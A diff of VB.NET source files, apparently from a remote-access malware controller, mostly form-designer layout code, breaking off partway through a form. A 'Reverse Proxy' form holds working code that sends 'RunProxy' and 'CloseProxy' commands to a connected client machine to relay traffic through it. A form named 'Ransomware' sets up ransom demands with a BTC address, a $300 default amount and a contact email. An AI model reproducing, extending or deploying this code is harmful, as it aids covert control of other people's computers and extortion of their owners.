Panel1.Controls.Add(Label4)
|
||||
Panel1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Panel1.Location = New System.Drawing.Point(0, 0)
|
||||
Panel1.Name = "Panel1"
|
||||
Panel1.Size = New System.Drawing.Size(333, 177)
|
||||
Panel1.TabIndex = 21
|
||||
'
|
||||
'Panel2
|
||||
'
|
||||
Panel2.Controls.Add(Panel1)
|
||||
Panel2.Controls.Add(Guna2GradientButton2)
|
||||
Panel2.Controls.Add(Guna2TextBox2)
|
||||
Panel2.Controls.Add(Guna2TextBox1)
|
||||
Panel2.Controls.Add(Label6)
|
||||
Panel2.Controls.Add(Label3)
|
||||
Panel2.Controls.Add(Guna2TextBox3)
|
||||
Panel2.Controls.Add(Label2)
|
||||
Panel2.Controls.Add(PictureBox1)
|
||||
Panel2.Controls.Add(Label1)
|
||||
Panel2.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Panel2.Location = New System.Drawing.Point(0, 0)
|
||||
Panel2.Name = "Panel2"
|
||||
Panel2.Size = New System.Drawing.Size(333, 177)
|
||||
Panel2.TabIndex = 22
|
||||
'
|
||||
'Guna2TextBox4
|
||||
'
|
||||
Guna2TextBox4.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox4.BorderRadius = 3
|
||||
Guna2TextBox4.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox4.DefaultText = "8000"
|
||||
Guna2TextBox4.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox4.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox4.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox4.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox4.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox4.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox4.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox4.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox4.Location = New System.Drawing.Point(80, 63)
|
||||
Guna2TextBox4.Name = "Guna2TextBox4"
|
||||
Guna2TextBox4.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox4.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox4.PlaceholderText = ""
|
||||
Guna2TextBox4.SelectedText = ""
|
||||
Guna2TextBox4.Size = New System.Drawing.Size(197, 21)
|
||||
Guna2TextBox4.TabIndex = 50
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(80, 90)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(197, 24)
|
||||
Guna2GradientButton1.TabIndex = 101
|
||||
Guna2GradientButton1.Text = "Start"
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.BorderRadius = 3
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = ""
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(86, 46)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.ReadOnly = True
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(221, 21)
|
||||
Guna2TextBox1.TabIndex = 102
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox2.BorderRadius = 3
|
||||
Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox2.DefaultText = ""
|
||||
Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Location = New System.Drawing.Point(86, 73)
|
||||
Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox2.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.PlaceholderText = ""
|
||||
Guna2TextBox2.ReadOnly = True
|
||||
Guna2TextBox2.SelectedText = ""
|
||||
Guna2TextBox2.Size = New System.Drawing.Size(221, 21)
|
||||
Guna2TextBox2.TabIndex = 103
|
||||
'
|
||||
'Guna2TextBox3
|
||||
'
|
||||
Guna2TextBox3.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox3.BorderRadius = 3
|
||||
Guna2TextBox3.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox3.DefaultText = ""
|
||||
Guna2TextBox3.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox3.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Location = New System.Drawing.Point(86, 100)
|
||||
Guna2TextBox3.Name = "Guna2TextBox3"
|
||||
Guna2TextBox3.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox3.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.PlaceholderText = ""
|
||||
Guna2TextBox3.ReadOnly = True
|
||||
Guna2TextBox3.SelectedText = ""
|
||||
Guna2TextBox3.Size = New System.Drawing.Size(221, 21)
|
||||
Guna2TextBox3.TabIndex = 104
|
||||
'
|
||||
'Guna2GradientButton2
|
||||
'
|
||||
Guna2GradientButton2.BorderRadius = 4
|
||||
Guna2GradientButton2.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton2.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton2.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton2.Image = CType(resources.GetObject("Guna2GradientButton2.Image"), System.Drawing.Image)
|
||||
Guna2GradientButton2.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton2.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton2.Location = New System.Drawing.Point(13, 136)
|
||||
Guna2GradientButton2.Name = "Guna2GradientButton2"
|
||||
Guna2GradientButton2.Size = New System.Drawing.Size(309, 27)
|
||||
Guna2GradientButton2.TabIndex = 102
|
||||
Guna2GradientButton2.Text = "Disconnect"
|
||||
'
|
||||
'Proxy
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(333, 177)
|
||||
Controls.Add(Panel2)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Proxy"
|
||||
Text = "Reverse Proxy"
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Panel1.ResumeLayout(False)
|
||||
Panel1.PerformLayout()
|
||||
Panel2.ResumeLayout(False)
|
||||
Panel2.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Label6 As Label
|
||||
Friend WithEvents Label3 As Label
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Label4 As Label
|
||||
Friend WithEvents Panel1 As Panel
|
||||
Friend WithEvents Panel2 As Panel
|
||||
Friend WithEvents Guna2TextBox4 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox3 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2GradientButton2 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,113 @@
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
Imports System.Threading
|
||||
Public Class Proxy
|
||||
|
||||
Private list_1 As List(Of Listener)
|
||||
|
||||
Public Shared bool_1 As Boolean
|
||||
|
||||
Public Shared bool_2 As Boolean
|
||||
|
||||
Private random_0 As Random
|
||||
|
||||
Public C As Client
|
||||
Public Cip As String
|
||||
|
||||
Private Enum Enum0
|
||||
ProcessDPIUnaware
|
||||
ProcessSystemDPIAware
|
||||
ProcessPerMonitorDPIAware
|
||||
End Enum
|
||||
Private Sub Proxy_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Try
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ProxyPort", Nothing) = Nothing Then
|
||||
Guna2TextBox4.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ProxyPort", Nothing)
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Proxy_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Try
|
||||
|
||||
Dim B As Byte() = SB("CloseProxy")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Listener.Close()
|
||||
BridgeEndPoint.Close()
|
||||
Relay.Close()
|
||||
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Try
|
||||
|
||||
If Not String.IsNullOrEmpty(Guna2TextBox4.Text) Then
|
||||
If IsNumeric(Guna2TextBox4.Text) Then
|
||||
Try
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "ProxyPort", Guna2TextBox4.Text)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
list_1 = New List(Of Listener)()
|
||||
random_0 = New Random()
|
||||
|
||||
Main.list_4 = New List(Of BridgeEndPoint)()
|
||||
|
||||
|
||||
Dim gclass As Listener = New Listener()
|
||||
gclass.method_0(Guna2TextBox4.Text, list_1.Count - 1, Convert.ToInt32(Guna2TextBox4.Text))
|
||||
list_1.Add(gclass)
|
||||
|
||||
Dim num As Integer = 50950 'random_0.[Next](50000, 60000)
|
||||
|
||||
|
||||
Dim text As String = Cip & ":" & Guna2TextBox4.Text
|
||||
|
||||
Guna2TextBox1.Text = Cip
|
||||
Guna2TextBox2.Text = Guna2TextBox4.Text
|
||||
Guna2TextBox3.Text = "127.0.0.1" & ":" & Conversions.ToString(num)
|
||||
|
||||
|
||||
Dim item As BridgeEndPoint = New BridgeEndPoint(num, text.Substring(0, text.IndexOf(":")), text)
|
||||
Main.list_4.Add(item)
|
||||
|
||||
|
||||
Panel1.Visible = False
|
||||
Panel2.Visible = True
|
||||
|
||||
Dim B As Byte() = SB("RunProxy" & SettingsHelper.SPL & Guna2TextBox4.Text & SettingsHelper.SPL & Cip)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B)
|
||||
|
||||
End If
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
Close()
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
||||
Close()
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox4_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox4.KeyDown
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+244
@@ -0,0 +1,244 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class Ransomware
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Ransomware))
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
Label3 = New System.Windows.Forms.Label()
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox3 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2Panel1 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Guna2Panel1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
PictureBox1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
PictureBox1.Location = New System.Drawing.Point(0, 0)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(325, 164)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
PictureBox1.TabIndex = 0
|
||||
PictureBox1.TabStop = False
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(16, 17)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(53, 13)
|
||||
Label1.TabIndex = 1
|
||||
Label1.Text = "Address :"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(9, 71)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(60, 13)
|
||||
Label2.TabIndex = 4
|
||||
Label2.Text = "Amount $ :"
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Label3.AutoSize = True
|
||||
Label3.ForeColor = System.Drawing.Color.Black
|
||||
Label3.Location = New System.Drawing.Point(31, 44)
|
||||
Label3.Name = "Label3"
|
||||
Label3.Size = New System.Drawing.Size(38, 13)
|
||||
Label3.TabIndex = 6
|
||||
Label3.Text = "Email :"
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 305)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(325, 22)
|
||||
StatusStrip1.SizingGrip = False
|
||||
StatusStrip1.TabIndex = 8
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.BorderRadius = 3
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = "Your BTC Address"
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(75, 14)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(237, 21)
|
||||
Guna2TextBox1.TabIndex = 50
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox2.BorderRadius = 3
|
||||
Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox2.DefaultText = "300"
|
||||
Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Location = New System.Drawing.Point(75, 68)
|
||||
Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox2.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.PlaceholderText = ""
|
||||
Guna2TextBox2.SelectedText = ""
|
||||
Guna2TextBox2.Size = New System.Drawing.Size(237, 21)
|
||||
Guna2TextBox2.TabIndex = 51
|
||||
'
|
||||
'Guna2TextBox3
|
||||
'
|
||||
Guna2TextBox3.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox3.BorderRadius = 3
|
||||
Guna2TextBox3.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox3.DefaultText = "Your Email"
|
||||
Guna2TextBox3.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox3.ForeColor = System.Drawing.Color.Black
|
||||
